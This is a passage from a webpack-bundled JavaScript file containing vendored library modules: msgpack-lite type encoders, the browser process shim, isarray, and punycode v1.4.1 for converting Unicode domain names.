                        buffer[offset++] = type;
                        buffer[offset++] = value >>> 24;
                        buffer[offset++] = value >>> 16;
                        buffer[offset++] = value >>> 8;
                        buffer[offset] = value;
                    };
                }

                function writeN(type, len, method, noAssert) {
                    return function(encoder, value) {
                        var offset = encoder.reserve(len + 1);
                        encoder.buffer[offset++] = type;
                        method.call(encoder.buffer, value, offset, noAssert);
                    };
                }

                function writeUInt64BE(value, offset) {
                    new Uint64BE(this, offset, value);
                }

                function writeInt64BE(value, offset) {
                    new Int64BE(this, offset, value);
                }

                function writeFloatBE(value, offset) {
                    ieee754.write(this, value, offset, false, 23, 4);
                }

                function writeDoubleBE(value, offset) {
                    ieee754.write(this, value, offset, false, 52, 8);
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-type.js":
            /*!*****************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/write-type.js ***!
      \*****************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                // write-type.js

                var IS_ARRAY = __webpack_require__(/*! isarray */ "./node_modules/msgpack-lite/node_modules/isarray/index.js");
                var Int64Buffer = __webpack_require__(/*! int64-buffer */ "./node_modules/int64-buffer/int64-buffer.js");
                var Uint64BE = Int64Buffer.Uint64BE;
                var Int64BE = Int64Buffer.Int64BE;

                var Bufferish = __webpack_require__(/*! ./bufferish */ "./node_modules/msgpack-lite/lib/bufferish.js");
                var BufferProto = __webpack_require__(/*! ./bufferish-proto */ "./node_modules/msgpack-lite/lib/bufferish-proto.js");
                var WriteToken = __webpack_require__(/*! ./write-token */ "./node_modules/msgpack-lite/lib/write-token.js");
                var uint8 = __webpack_require__(/*! ./write-uint8 */ "./node_modules/msgpack-lite/lib/write-uint8.js").uint8;
                var ExtBuffer = __webpack_require__(/*! ./ext-buffer */ "./node_modules/msgpack-lite/lib/ext-buffer.js").ExtBuffer;

                var HAS_UINT8ARRAY = ("undefined" !== typeof Uint8Array);
                var HAS_MAP = ("undefined" !== typeof Map);

                var extmap = [];
                extmap[1] = 0xd4;
                extmap[2] = 0xd5;
                extmap[4] = 0xd6;
                extmap[8] = 0xd7;
                extmap[16] = 0xd8;

                exports.getWriteType = getWriteType;

                function getWriteType(options) {
                    var token = WriteToken.getWriteToken(options);
                    var useraw = options && options.useraw;
                    var binarraybuffer = HAS_UINT8ARRAY && options && options.binarraybuffer;
                    var isBuffer = binarraybuffer ? Bufferish.isArrayBuffer : Bufferish.isBuffer;
                    var bin = binarraybuffer ? bin_arraybuffer : bin_buffer;
                    var usemap = HAS_MAP && options && options.usemap;
                    var map = usemap ? map_to_map : obj_to_map;

                    var writeType = {
                        "boolean": bool,
                        "function": nil,
                        "number": number,
                        "object": (useraw ? object_raw : object),
                        "string": _string(useraw ? raw_head_size : str_head_size),
                        "symbol": nil,
                        "undefined": nil
                    };

                    return writeType;

                    // false -- 0xc2
                    // true -- 0xc3
                    function bool(encoder, value) {
                        var type = value ? 0xc3 : 0xc2;
                        token[type](encoder, value);
                    }

                    function number(encoder, value) {
                        var ivalue = value | 0;
                        var type;
                        if (value !== ivalue) {
                            // float 64 -- 0xcb
                            type = 0xcb;
                            token[type](encoder, value);
                            return;
                        } else if (-0x20 <= ivalue && ivalue <= 0x7F) {
                            // positive fixint -- 0x00 - 0x7f
                            // negative fixint -- 0xe0 - 0xff
                            type = ivalue & 0xFF;
                        } else if (0 <= ivalue) {
                            // uint 8 -- 0xcc
                            // uint 16 -- 0xcd
                            // uint 32 -- 0xce
                            type = (ivalue <= 0xFF) ? 0xcc : (ivalue <= 0xFFFF) ? 0xcd : 0xce;
                        } else {
                            // int 8 -- 0xd0
                            // int 16 -- 0xd1
                            // int 32 -- 0xd2
                            type = (-0x80 <= ivalue) ? 0xd0 : (-0x8000 <= ivalue) ? 0xd1 : 0xd2;
                        }
                        token[type](encoder, ivalue);
                    }

                    // uint 64 -- 0xcf
                    function uint64(encoder, value) {
                        var type = 0xcf;
                        token[type](encoder, value.toArray());
                    }

                    // int 64 -- 0xd3
                    function int64(encoder, value) {
                        var type = 0xd3;
                        token[type](encoder, value.toArray());
                    }

                    // str 8 -- 0xd9
                    // str 16 -- 0xda
                    // str 32 -- 0xdb
                    // fixstr -- 0xa0 - 0xbf
                    function str_head_size(length) {
                        return (length < 32) ? 1 : (length <= 0xFF) ? 2 : (length <= 0xFFFF) ? 3 : 5;
                    }

                    // raw 16 -- 0xda
                    // raw 32 -- 0xdb
                    // fixraw -- 0xa0 - 0xbf
                    function raw_head_size(length) {
                        return (length < 32) ? 1 : (length <= 0xFFFF) ? 3 : 5;
                    }

                    function _string(head_size) {
                        return string;

                        function string(encoder, value) {
                            // prepare buffer
                            var length = value.length;
                            var maxsize = 5 + length * 3;
                            encoder.offset = encoder.reserve(maxsize);
                            var buffer = encoder.buffer;

                            // expected header size
                            var expected = head_size(length);

                            // expected start point
                            var start = encoder.offset + expected;

                            // write string
                            length = BufferProto.write.call(buffer, value, start);

                            // actual header size
                            var actual = head_size(length);

                            // move content when needed
                            if (expected !== actual) {
                                var targetStart = start + actual - expected;
                                var end = start + length;
                                BufferProto.copy.call(buffer, buffer, targetStart, start, end);
                            }

                            // write header
                            var type = (actual === 1) ? (0xa0 + length) : (actual <= 3) ? (0xd7 + actual) : 0xdb;
                            token[type](encoder, length);

                            // move cursor
                            encoder.offset += length;
                        }
                    }

                    function object(encoder, value) {
                        // null
                        if (value === null) return nil(encoder, value);

                        // Buffer
                        if (isBuffer(value)) return bin(encoder, value);

                        // Array
                        if (IS_ARRAY(value)) return array(encoder, value);

                        // int64-buffer objects
                        if (Uint64BE.isUint64BE(value)) return uint64(encoder, value);
                        if (Int64BE.isInt64BE(value)) return int64(encoder, value);

                        // ext formats
                        var packer = encoder.codec.getExtPacker(value);
                        if (packer) value = packer(value);
                        if (value instanceof ExtBuffer) return ext(encoder, value);

                        // plain old Objects or Map
                        map(encoder, value);
                    }

                    function object_raw(encoder, value) {
                        // Buffer
                        if (isBuffer(value)) return raw(encoder, value);

                        // others
                        object(encoder, value);
                    }

                    // nil -- 0xc0
                    function nil(encoder, value) {
                        var type = 0xc0;
                        token[type](encoder, value);
                    }

                    // fixarray -- 0x90 - 0x9f
                    // array 16 -- 0xdc
                    // array 32 -- 0xdd
                    function array(encoder, value) {
                        var length = value.length;
                        var type = (length < 16) ? (0x90 + length) : (length <= 0xFFFF) ? 0xdc : 0xdd;
                        token[type](encoder, length);

                        var encode = encoder.codec.encode;
                        for (var i = 0; i < length; i++) {
                            encode(encoder, value[i]);
                        }
                    }

                    // bin 8 -- 0xc4
                    // bin 16 -- 0xc5
                    // bin 32 -- 0xc6
                    function bin_buffer(encoder, value) {
                        var length = value.length;
                        var type = (length < 0xFF) ? 0xc4 : (length <= 0xFFFF) ? 0xc5 : 0xc6;
                        token[type](encoder, length);
                        encoder.send(value);
                    }

                    function bin_arraybuffer(encoder, value) {
                        bin_buffer(encoder, new Uint8Array(value));
                    }

                    // fixext 1 -- 0xd4
                    // fixext 2 -- 0xd5
                    // fixext 4 -- 0xd6
                    // fixext 8 -- 0xd7
                    // fixext 16 -- 0xd8
                    // ext 8 -- 0xc7
                    // ext 16 -- 0xc8
                    // ext 32 -- 0xc9
                    function ext(encoder, value) {
                        var buffer = value.buffer;
                        var length = buffer.length;
                        var type = extmap[length] || ((length < 0xFF) ? 0xc7 : (length <= 0xFFFF) ? 0xc8 : 0xc9);
                        token[type](encoder, length);
                        uint8[value.type](encoder);
                        encoder.send(buffer);
                    }

                    // fixmap -- 0x80 - 0x8f
                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    function obj_to_map(encoder, value) {
                        var keys = Object.keys(value);
                        var length = keys.length;
                        var type = (length < 16) ? (0x80 + length) : (length <= 0xFFFF) ? 0xde : 0xdf;
                        token[type](encoder, length);

                        var encode = encoder.codec.encode;
                        keys.forEach(function(key) {
                            encode(encoder, key);
                            encode(encoder, value[key]);
                        });
                    }

                    // fixmap -- 0x80 - 0x8f
                    // map 16 -- 0xde
                    // map 32 -- 0xdf
                    function map_to_map(encoder, value) {
                        if (!(value instanceof Map)) return obj_to_map(encoder, value);

                        var length = value.size;
                        var type = (length < 16) ? (0x80 + length) : (length <= 0xFFFF) ? 0xde : 0xdf;
                        token[type](encoder, length);

                        var encode = encoder.codec.encode;
                        value.forEach(function(val, key, m) {
                            encode(encoder, key);
                            encode(encoder, val);
                        });
                    }

                    // raw 16 -- 0xda
                    // raw 32 -- 0xdb
                    // fixraw -- 0xa0 - 0xbf
                    function raw(encoder, value) {
                        var length = value.length;
                        var type = (length < 32) ? (0xa0 + length) : (length <= 0xFFFF) ? 0xda : 0xdb;
                        token[type](encoder, length);
                        encoder.send(value);
                    }
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/lib/write-uint8.js":
            /*!******************************************************!*\
      !*** ./node_modules/msgpack-lite/lib/write-uint8.js ***!
      \******************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // write-unit8.js

                var constant = exports.uint8 = new Array(256);

                for (var i = 0x00; i <= 0xFF; i++) {
                    constant[i] = write0(i);
                }

                function write0(type) {
                    return function(encoder) {
                        var offset = encoder.reserve(1);
                        encoder.buffer[offset] = type;
                    };
                }


                /***/ }),

            /***/ "./node_modules/msgpack-lite/node_modules/isarray/index.js":
            /*!*****************************************************************!*\
      !*** ./node_modules/msgpack-lite/node_modules/isarray/index.js ***!
      \*****************************************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                var toString = {}.toString;

                module.exports = Array.isArray || function (arr) {
                    return toString.call(arr) == '[object Array]';
                };


                /***/ }),

            /***/ "./node_modules/process/browser.js":
            /*!*****************************************!*\
      !*** ./node_modules/process/browser.js ***!
      \*****************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                // shim for using process in browser
                var process = module.exports = {};

                // cached from whatever global is present so that test runners that stub it
                // don't break things.  But we need to wrap it in a try catch in case it is
                // wrapped in strict mode code which doesn't define any globals.  It's inside a
                // function because try/catches deoptimize in certain engines.

                var cachedSetTimeout;
                var cachedClearTimeout;

                function defaultSetTimout() {
                    throw new Error('setTimeout has not been defined');
                }
                function defaultClearTimeout () {
                    throw new Error('clearTimeout has not been defined');
                }
                (function () {
                    try {
                        if (typeof setTimeout === 'function') {
                            cachedSetTimeout = setTimeout;
                        } else {
                            cachedSetTimeout = defaultSetTimout;
                        }
                    } catch (e) {
                        cachedSetTimeout = defaultSetTimout;
                    }
                    try {
                        if (typeof clearTimeout === 'function') {
                            cachedClearTimeout = clearTimeout;
                        } else {
                            cachedClearTimeout = defaultClearTimeout;
                        }
                    } catch (e) {
                        cachedClearTimeout = defaultClearTimeout;
                    }
                } ())
                function runTimeout(fun) {
                    if (cachedSetTimeout === setTimeout) {
                        //normal enviroments in sane situations
                        return setTimeout(fun, 0);
                    }
                    // if setTimeout wasn't available but was latter defined
                    if ((cachedSetTimeout === defaultSetTimout || !cachedSetTimeout) && setTimeout) {
                        cachedSetTimeout = setTimeout;
                        return setTimeout(fun, 0);
                    }
                    try {
                        // when when somebody has screwed with setTimeout but no I.E. maddness
                        return cachedSetTimeout(fun, 0);
                    } catch(e){
                        try {
                            // When we are in I.E. but the script has been evaled so I.E. doesn't trust the global object when called normally
                            return cachedSetTimeout.call(null, fun, 0);
                        } catch(e){
                            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error
                            return cachedSetTimeout.call(this, fun, 0);
                        }
                    }


                }
                function runClearTimeout(marker) {
                    if (cachedClearTimeout === clearTimeout) {
                        //normal enviroments in sane situations
                        return clearTimeout(marker);
                    }
                    // if clearTimeout wasn't available but was latter defined
                    if ((cachedClearTimeout === defaultClearTimeout || !cachedClearTimeout) && clearTimeout) {
                        cachedClearTimeout = clearTimeout;
                        return clearTimeout(marker);
                    }
                    try {
                        // when when somebody has screwed with setTimeout but no I.E. maddness
                        return cachedClearTimeout(marker);
                    } catch (e){
                        try {
                            // When we are in I.E. but the script has been evaled so I.E. doesn't  trust the global object when called normally
                            return cachedClearTimeout.call(null, marker);
                        } catch (e){
                            // same as above but when it's a version of I.E. that must have the global object for 'this', hopfully our context correct otherwise it will throw a global error.
                            // Some versions of I.E. have different rules for clearTimeout vs setTimeout
                            return cachedClearTimeout.call(this, marker);
                        }
                    }



                }
                var queue = [];
                var draining = false;
                var currentQueue;
                var queueIndex = -1;

                function cleanUpNextTick() {
                    if (!draining || !currentQueue) {
                        return;
                    }
                    draining = false;
                    if (currentQueue.length) {
                        queue = currentQueue.concat(queue);
                    } else {
                        queueIndex = -1;
                    }
                    if (queue.length) {
                        drainQueue();
                    }
                }

                function drainQueue() {
                    if (draining) {
                        return;
                    }
                    var timeout = runTimeout(cleanUpNextTick);
                    draining = true;

                    var len = queue.length;
                    while(len) {
                        currentQueue = queue;
                        queue = [];
                        while (++queueIndex < len) {
                            if (currentQueue) {
                                currentQueue[queueIndex].run();
                            }
                        }
                        queueIndex = -1;
                        len = queue.length;
                    }
                    currentQueue = null;
                    draining = false;
                    runClearTimeout(timeout);
                }

                process.nextTick = function (fun) {
                    var args = new Array(arguments.length - 1);
                    if (arguments.length > 1) {
                        for (var i = 1; i < arguments.length; i++) {
                            args[i - 1] = arguments[i];
                        }
                    }
                    queue.push(new Item(fun, args));
                    if (queue.length === 1 && !draining) {
                        runTimeout(drainQueue);
                    }
                };

                // v8 likes predictible objects
                function Item(fun, array) {
                    this.fun = fun;
                    this.array = array;
                }
                Item.prototype.run = function () {
                    this.fun.apply(null, this.array);
                };
                process.title = 'browser';
                process.browser = true;
                process.env = {};
                process.argv = [];
                process.version = ''; // empty string to avoid regexp issues
                process.versions = {};

                function noop() {}

                process.on = noop;
                process.addListener = noop;
                process.once = noop;
                process.off = noop;
                process.removeListener = noop;
                process.removeAllListeners = noop;
                process.emit = noop;
                process.prependListener = noop;
                process.prependOnceListener = noop;

                process.listeners = function (name) { return [] }

                process.binding = function (name) {
                    throw new Error('process.binding is not supported');
                };

                process.cwd = function () { return '/' };
                process.chdir = function (dir) {
                    throw new Error('process.chdir is not supported');
                };
                process.umask = function() { return 0; };


                /***/ }),

            /***/ "./node_modules/punycode/punycode.js":
            /*!*******************************************!*\
      !*** ./node_modules/punycode/punycode.js ***!
      \*******************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(module, global) {var __WEBPACK_AMD_DEFINE_RESULT__;/*! https://mths.be/punycode v1.4.1 by @mathias */
                                                                      ;(function(root) {

                                                                          /** Detect free variables */
                                                                          var freeExports =  true && exports &&
                                                                              !exports.nodeType && exports;
                                                                          var freeModule =  true && module &&
                                                                              !module.nodeType && module;
                                                                          var freeGlobal = typeof global == 'object' && global;
                                                                          if (
                                                                              freeGlobal.global === freeGlobal ||
                                                                              freeGlobal.window === freeGlobal ||
                                                                              freeGlobal.self === freeGlobal
                                                                          ) {
                                                                              root = freeGlobal;
                                                                          }

                                                                          /**
         * The `punycode` object.
         * @name punycode
         * @type Object
         */
                                                                          var punycode,

                                                                              /** Highest positive signed 32-bit float value */
                                                                              maxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1

                                                                              /** Bootstring parameters */
                                                                              base = 36,
                                                                              tMin = 1,
                                                                              tMax = 26,
                                                                              skew = 38,
                                                                              damp = 700,
                                                                              initialBias = 72,
                                                                              initialN = 128, // 0x80
                                                                              delimiter = '-', // '\x2D'

                                                                              /** Regular expressions */
                                                                              regexPunycode = /^xn--/,
                                                                              regexNonASCII = /[^\x20-\x7E]/, // unprintable ASCII chars + non-ASCII chars
                                                                              regexSeparators = /[\x2E\u3002\uFF0E\uFF61]/g, // RFC 3490 separators

                                                                              /** Error messages */
                                                                              errors = {
                                                                                  'overflow': 'Overflow: input needs wider integers to process',
                                                                                  'not-basic': 'Illegal input >= 0x80 (not a basic code point)',
                                                                                  'invalid-input': 'Invalid input'
                                                                              },

                                                                              /** Convenience shortcuts */
                                                                              baseMinusTMin = base - tMin,
                                                                              floor = Math.floor,
                                                                              stringFromCharCode = String.fromCharCode,

                                                                              /** Temporary variable */
                                                                              key;

                                                                          /*--------------------------------------------------------------------------*/

                                                                          /**
         * A generic error utility function.
         * @private
         * @param {String} type The error type.
         * @returns {Error} Throws a `RangeError` with the applicable error message.
         */
                                                                          function error(type) {
                                                                              throw new RangeError(errors[type]);
                                                                          }

                                                                          /**
         * A generic `Array#map` utility function.
         * @private
         * @param {Array} array The array to iterate over.
         * @param {Function} callback The function that gets called for every array
         * item.
         * @returns {Array} A new array of values returned by the callback function.
         */
                                                                          function map(array, fn) {
                                                                              var length = array.length;
                                                                              var result = [];
                                                                              while (length--) {
                                                                                  result[length] = fn(array[length]);
                                                                              }
                                                                              return result;
                                                                          }

                                                                          /**
         * A simple `Array#map`-like wrapper to work with domain name strings or email
         * addresses.
         * @private
         * @param {String} domain The domain name or email address.
         * @param {Function} callback The function that gets called for every
         * character.
         * @returns {Array} A new string of characters returned by the callback
         * function.
         */
                                                                          function mapDomain(string, fn) {
                                                                              var parts = string.split('@');
                                                                              var result = '';
                                                                              if (parts.length > 1) {
                                                                                  // In email addresses, only the domain name should be punycoded. Leave
                                                                                  // the local part (i.e. everything up to `@`) intact.
                                                                                  result = parts[0] + '@';
                                                                                  string = parts[1];
                                                                              }
                                                                              // Avoid `split(regex)` for IE8 compatibility. See #17.
                                                                              string = string.replace(regexSeparators, '\x2E');
                                                                              var labels = string.split('.');
                                                                              var encoded = map(labels, fn).join('.');
                                                                              return result + encoded;
                                                                          }

                                                                          /**
         * Creates an array containing the numeric code points of each Unicode
         * character in the string. While JavaScript uses UCS-2 internally,
         * this function will convert a pair of surrogate halves (each of which
         * UCS-2 exposes as separate characters) into a single code point,
         * matching UTF-16.
         * @see `punycode.ucs2.encode`
         * @see <https://mathiasbynens.be/notes/javascript-encoding>
         * @memberOf punycode.ucs2
         * @name decode
         * @param {String} string The Unicode input string (UCS-2).
         * @returns {Array} The new array of code points.
         */
                                                                          function ucs2decode(string) {
                                                                              var output = [],
                                                                                  counter = 0,
                                                                                  length = string.length,
                                                                                  value,
                                                                                  extra;
                                                                              while (counter < length) {
                                                                                  value = string.charCodeAt(counter++);
                                                                                  if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
                                                                                      // high surrogate, and there is a next character
                                                                                      extra = string.charCodeAt(counter++);
                                                                                      if ((extra & 0xFC00) == 0xDC00) { // low surrogate
                                                                                          output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
                                                                                      } else {
                                                                                          // unmatched surrogate; only append this code unit, in case the next
                                                                                          // code unit is the high surrogate of a surrogate pair
                                                                                          output.push(value);
                                                                                          counter--;
                                                                                      }
                                                                                  } else {
                                                                                      output.push(value);
                                                                                  }
                                                                              }
                                                                              return output;
                                                                          }

                                                                          /**
         * Creates a string based on an array of numeric code points.
         * @see `punycode.ucs2.decode`
         * @memberOf punycode.ucs2
         * @name encode
         * @param {Array} codePoints The array of numeric code points.
         * @returns {String} The new Unicode string (UCS-2).
         */
                                                                          function ucs2encode(array) {
                                                                              return map(array, function(value) {
                                                                                  var output = '';
                                                                                  if (value > 0xFFFF) {
                                                                                      value -= 0x10000;
                                                                                      output += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);
                                                                                      value = 0xDC00 | value & 0x3FF;
                                                                                  }
                                                                                  output += stringFromCharCode(value);
                                                                                  return output;
                                                                              }).join('');
                                                                          }

                                                                          /**
         * Converts a basic code point into a digit/integer.
         * @see `digitToBasic()`
         * @private
         * @param {Number} codePoint The basic numeric code point value.
         * @returns {Number} The numeric value of a basic code point (for use in
         * representing integers) in the range `0` to `base - 1`, or `base` if
         * the code point does not represent a value.
         */
                                                                          function basicToDigit(codePoint) {
                                                                              if (codePoint - 48 < 10) {
                                                                                  return codePoint - 22;
                                                                              }
                                                                              if (codePoint - 65 < 26) {
                                                                                  return codePoint - 65;
                                                                              }
                                                                              if (codePoint - 97 < 26) {
                                                                                  return codePoint - 97;
                                                                              }
                                                                              return base;
                                                                          }

                                                                          /**
         * Converts a digit/integer into a basic code point.
         * @see `basicToDigit()`
         * @private
         * @param {Number} digit The numeric value of a basic code point.
         * @returns {Number} The basic code point whose value (when used for
         * representing integers) is `digit`, which needs to be in the range
         * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is
         * used; else, the lowercase form is used. The behavior is undefined
         * if `flag` is non-zero and `digit` has no uppercase form.
         */
                                                                          function digitToBasic(digit, flag) {
                                                                              //  0..25 map to ASCII a..z or A..Z
                                                                              // 26..35 map to ASCII 0..9
                                                                              return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);
                                                                          }

                                                                          /**
         * Bias adaptation function as per section 3.4 of RFC 3492.
         * https://tools.ietf.org/html/rfc3492#section-3.4
         * @private
         */
                                                                          function adapt(delta, numPoints, firstTime) {
                                                                              var k = 0;
                                                                              delta = firstTime ? floor(delta / damp) : delta >> 1;
                                                                              delta += floor(delta / numPoints);
                                                                              for (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {
                                                                                  delta = floor(delta / baseMinusTMin);
                                                                              }
                                                                              return floor(k + (baseMinusTMin + 1) * delta / (delta + skew));
                                                                          }

                                                                          /**
         * Converts a Punycode string of ASCII-only symbols to a string of Unicode
         * symbols.
         * @memberOf punycode
         * @param {String} input The Punycode string of ASCII-only symbols.
         * @returns {String} The resulting string of Unicode symbols.
         */
                                                                          function decode(input) {
                                                                              // Don't use UCS-2
                                                                              var output = [],
                                                                                  inputLength = input.length,
                                                                                  out,
                                                                                  i = 0,
                                                                                  n = initialN,
                                                                                  bias = initialBias,
                                                                                  basic,
                                                                                  j,
                                                                                  index,
                                                                                  oldi,
                                                                                  w,
                                                                                  k,
                                                                                  digit,
                                                                                  t,
                                                                                  /** Cached calculation results */
                                                                                  baseMinusT;

                                                                              // Handle the basic code points: let `basic` be the number of input code
                                                                              // points before the last delimiter, or `0` if there is none, then copy
                                                                              // the first basic code points to the output.

                                                                              basic = input.lastIndexOf(delimiter);
                                                                              if (basic < 0) {
                                                                                  basic = 0;
                                                                              }

                                                                              for (j = 0; j < basic; ++j) {
                                                                                  // if it's not a basic code point
                                                                                  if (input.charCodeAt(j) >= 0x80) {
                                                                                      error('not-basic');
                                                                                  }
                                                                                  output.push(input.charCodeAt(j));
                                                                              }

                                                                              // Main decoding loop: start just after the last delimiter if any basic code
                                                                              // points were copied; start at the beginning otherwise.

                                                                              for (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {

                                                                                  // `index` is the index of the next character to be consumed.
                                                                                  // Decode a generalized variable-length integer into `delta`,
                                                                                  // which gets added to `i`. The overflow checking is easier
                                                                                  // if we increase `i` as we go, then subtract off its starting
                                                                                  // value at the end to obtain `delta`.
                                                                                  for (oldi = i, w = 1, k = base; /* no condition */; k += base) {

                                                                                      if (index >= inputLength) {
                                                                                          error('invalid-input');
                                                                                      }

                                                                                      digit = basicToDigit(input.charCodeAt(index++));

                                                                                      if (digit >= base || digit > floor((maxInt - i) / w)) {
                                                                                          error('overflow');
                                                                                      }

                                                                                      i += digit * w;
                                                                                      t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);

                                                                                      if (digit < t) {
                                                                                          break;
                                                                                      }

                                                                                      baseMinusT = base - t;
                                                                                      if (w > floor(maxInt / baseMinusT)) {
                                                                                          error('overflow');
                                                                                      }

                                                                                      w *= baseMinusT;

                                                                                  }

                                                                                  out = output.length + 1;
                                                                                  bias = adapt(i - oldi, out, oldi == 0);

                                                                                  // `i` was supposed to wrap around from `out` to `0`,
                                                                                  // incrementing `n` each time, so we'll fix that now:
                                                                                  if (floor(i / out) > maxInt - n) {
                                                                                      error('overflow');
                                                                                  }

                                                                                  n += floor(i / out);
                                                                                  i %= out;

                                                                                  // Insert `n` at position `i` of the output
                                                                                  output.splice(i++, 0, n);

                                                                              }

                                                                              return ucs2encode(output);
                                                                          }

                                                                          /**
         * Converts a string of Unicode symbols (e.g. a domain name label) to a
         * Punycode string of ASCII-only symbols.
         * @memberOf punycode
         * @param {String} input The string of Unicode symbols.
         * @returns {String} The resulting Punycode string of ASCII-only symbols.
         */
                                                                          function encode(input) {
                                                                              var n,
                                                                                  delta,
                                                                                  handledCPCount,
                                                                                  basicLength,
                                                                                  bias,
                                                                                  j,
                                                                                  m,
                                                                                  q,
                                                                                  k,
                                                                                  t,
                                                                                  currentValue,
                                                                                  output = [],
                                                                                  /** `inputLength` will hold the number of code points in `input`. */
                                                                                  inputLength,
                                                                                  /** Cached calculation results */
                                                                                  handledCPCountPlusOne,
                                                                                  baseMinusT,
                                                                                  qMinusT;

                                                                              // Convert the input in UCS-2 to Unicode
                                                                              input = ucs2decode(input);

                                                                              // Cache the length
                                                                              inputLength = input.length;

                                                                              // Initialize the state
                                                                              n = initialN;
                                                                              delta = 0;
                                                                              bias = initialBias;

                                                                              // Handle the basic code points
                                                                              for (j = 0; j < inputLength; ++j) {
                                                                                  currentValue = input[j];
                                                                                  if (currentValue < 0x80) {
                                                                                      output.push(stringFromCharCode(currentValue));
                                                                                  }
                                                                              }

                                                                              handledCPCount = basicLength = output.length;

                                                                              // `handledCPCount` is the number of code points that have been handled;
                                                                              // `basicLength` is the number of basic code points.

                                                                              // Finish the basic string - if it is not empty - with a delimiter
                                                                              if (basicLength) {
                                                                                  output.push(delimiter);
                                                                              }

                                                                              // Main encoding loop:
                                                                              while (handledCPCount < inputLength) {

                                                                                  // All non-basic code points < n have been handled already. Find the next
                                                                                  // larger one:
                                                                                  for (m = maxInt, j = 0; j < inputLength; ++j) {
                                                                                      currentValue = input[j];
                                                                                      if (currentValue >= n && currentValue < m) {
                                                                                          m = currentValue;
                                                                                      }
                                                                                  }

                                                                                  // Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,
                                                                                  // but guard against overflow
                                                                                  handledCPCountPlusOne = handledCPCount + 1;
                                                                                  if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {
                                                                                      error('overflow');
                                                                                  }

                                                                                  delta += (m - n) * handledCPCountPlusOne;
                                                                                  n = m;

                                                                                  for (j = 0; j < inputLength; ++j) {
                                                                                      currentValue = input[j];

                                                                                      if (currentValue < n && ++delta > maxInt) {
                                                                                          error('overflow');
                                                                                      }

                                                                                      if (currentValue == n) {
                                                                                          // Represent delta as a generalized variable-length integer
                                                                                          for (q = delta, k = base; /* no condition */; k += base) {
                                                                                              t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
                                                                                              if (q < t) {
                                                                                                  break;
                                                                                              }
                                                                                              qMinusT = q - t;
                                                                                              baseMinusT = base - t;
                                                                                              output.push(
                                                                                                  stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))
                                                                                              );
                                                                                              q = floor(qMinusT / baseMinusT);
                                                                                          }

                                                                                          output.push(stringFromCharCode(digitToBasic(q, 0)));
                                                                                          bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
                                                                                          delta = 0;
                                                                                          ++handledCPCount;
                                                                                      }
                                                                                  }

                                                                                  ++delta;
                                                                                  ++n;

                                                                              }
                                                                              return output.join('');
                                                                          }

                                                                          /**
         * Converts a Punycode string representing a domain name or an email address
         * to Unicode. Only the Punycoded parts of the input will be converted, i.e.
         * it doesn't matter if you call it on a string that has already been
         * converted to Unicode.
         * @memberOf punycode
         * @param {String} input The Punycoded domain name or email address to
         * convert to Unicode.
         * @returns {String} The Unicode representation of the given Punycode
         * string.
         */
                                                                          function toUnicode(input) {
                                                                              return mapDomain(input, function(string) {
                                                                                  return regexPunycode.test(string)
                                                                                      ? decode(string.slice(4).toLowerCase())
                                                                                  : string;
                                                                              });
                                                                          }

                                                                          /**
         * Converts a Unicode string representing a domain name or an email address to
         * Punycode. Only the non-ASCII parts of the domain name will be converted,
         * i.e. it doesn't matter if you call it with a domain that's already in
         * ASCII.
         * @memberOf punycode
         * @param {String} input The domain name or email address to convert, as a
         * Unicode string.
         * @returns {String} The Punycode representation of the given domain name or
         * email address.
         */
                                                                          function toASCII(input) {
                                                                              return mapDomain(input, function(string) {
                                                                                  return regexNonASCII.test(string)
                                                                                      ? 'xn--' + encode(string)
                                                                                  : string;
                                                                              });
                                                                          }

                                                                          /*--------------------------------------------------------------------------*/

                                                                          /** Define the public API */
                                                                          punycode = {
                                                                              /**
             * A string representing the current Punycode.js version number.
             * @memberOf punycode
             * @type String
             */
                                                                              'version': '1.4.1',
                                                                              /**
             * An object of methods to convert from JavaScript's internal character
             * representation (UCS-2) to Unicode code points, and back.
             * @see <https://mathiasbynens.be/notes/javascript-encoding>
             * @memberOf punycode
             * @type Object
             */
                                                                              'ucs2': {
                                                                                  'decode': ucs2decode,
                                                                                  'encode': ucs2encode
                                                                              },
                                                                              'decode': decode,
                                                                              'encode': encode,
                                                                              'toASCII': toASCII,
                                                                              'toUnicode': toUnicode
                                                                          };

                                                                          /** Expose `punycode` */
                                                                          // Some AMD build optimizers, like r.js, check for specific condition patterns
                                                                          // like the following:
                                                                          if (
                                                                              true
                                                                          ) {
                                                                              !(__WEBPACK_AMD_DEFINE_RESULT__ = (function() {
                                                                                  return punycode;
                                                                              }).call(exports, __webpack_require__, exports, module),
                                                                                __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
                                                                          } else {}

                                                                      }(this));

                                                                      /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module), __webpack_require__(/*! ./../webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js")))

                /***/ }),

            /***/ "./node_modules/querystring-es3/decode.js":
            /*!************************************************!*\
